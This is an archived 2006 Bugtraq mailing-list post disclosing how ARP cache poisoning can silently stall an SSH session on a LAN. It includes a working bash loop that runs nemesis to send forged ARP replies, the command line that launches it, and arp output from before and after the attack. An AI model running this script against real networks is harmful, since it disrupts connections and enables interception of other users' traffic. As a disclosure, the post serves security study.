bugtraq - IGNORING SSH CONNECTION USES ARP CACHE POISSONING

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 9 May 2006 10:48:18 -0000
From: king_purba@...oo.co.uk
To: bugtraq@...urityfocus.com
Subject: IGNORING SSH CONNECTION USES ARP CACHE POISSONING

Author : Ph03n1X
Email  : king_purba@...oo.co.uk
Site	: http://kandangjamur.net/
Severity : Moderate

IGNORING SSH CONNECTION USES ARP CACHE POISSONING

We know that tcp connection will close by sending RST flag.
I try to connect to my openssh server on 
slackware 10 from my computer fedora core 4. Then using an 
openbsd 3.7, that had same network with slackware n fedora, 
try to overwrite ARP cache on my fedora core 4. After arp 
cache has been overwriten, all packet from fedora core 4 
to slackware 10 is ignored. May be this problem is not only 
on ssh but on other tcp protocol.

Exploitation :

1. OpenSSH on slackware has IP 172.16.11.235 and MAC 00:80:48:EB:50:F2
2. Client using Fedora has IP 172.16.11.103 and MAC 00:00:21:27:12:1F
3. Attacker using OpenBSD has IP 172.16.11.234 and MAC 00:c0:26:6f:3a:1a
4. Now, login ssh from 172.16.11.103 to 172.16.11.235

Before exploitation you can use shell command on 172.16.11.235
as you wish and also you can manage 172.16.11.235 from 172.16.11.103.

5. ARP cache on 172.16.11.103 before overwriting

fc4-$arp -na
? (172.16.11.235) at 00:80:48:EB:50:F2 [ether] on eth0
? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0

6. Overwriting ARP cache on 172.16.11.103 from 172.16.11.234 using nemesis and simple bash script

#!/bin/sh
if [ -z "$5" ]
#
# Script ini akan mengatakan bahwa IP server ada di MAC xxxx
# Sehingga client tidak menghubungi server melainkan xxxx
#

then
        echo
        echo "Usage : $0 <interface attacker> <ip server ssh> <ip client> <valid MAC address/up to u> <MAC client>"
        echo
        exit
fi

while true
do
        nemesis arp -v -r -d $1 -S $2 -D $3 -h $4 -m $5 -H $4 -M $5
        sleep 2;
done

openbsd-$./arp-cachep.sh rl0 172.16.11.235 172.16.11.103 00:c0:26:6f:3a:00 00:00:21:27:12:1f

7. Now check ARP cache on 172.16.11.103 after overwriting

fc4-$arp -na
? (172.16.11.235) at 00:C0:26:6F:3A:00 [ether] on eth0 <-- ARP cache has been overwriten
? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0

8. Now, back to ssh connection on 172.16.11.235 from 172.16.11.103. Type, any character on ssh console, yep no data connection, you cannot do anything on ssh console because ssh connection has been ignored but not closed.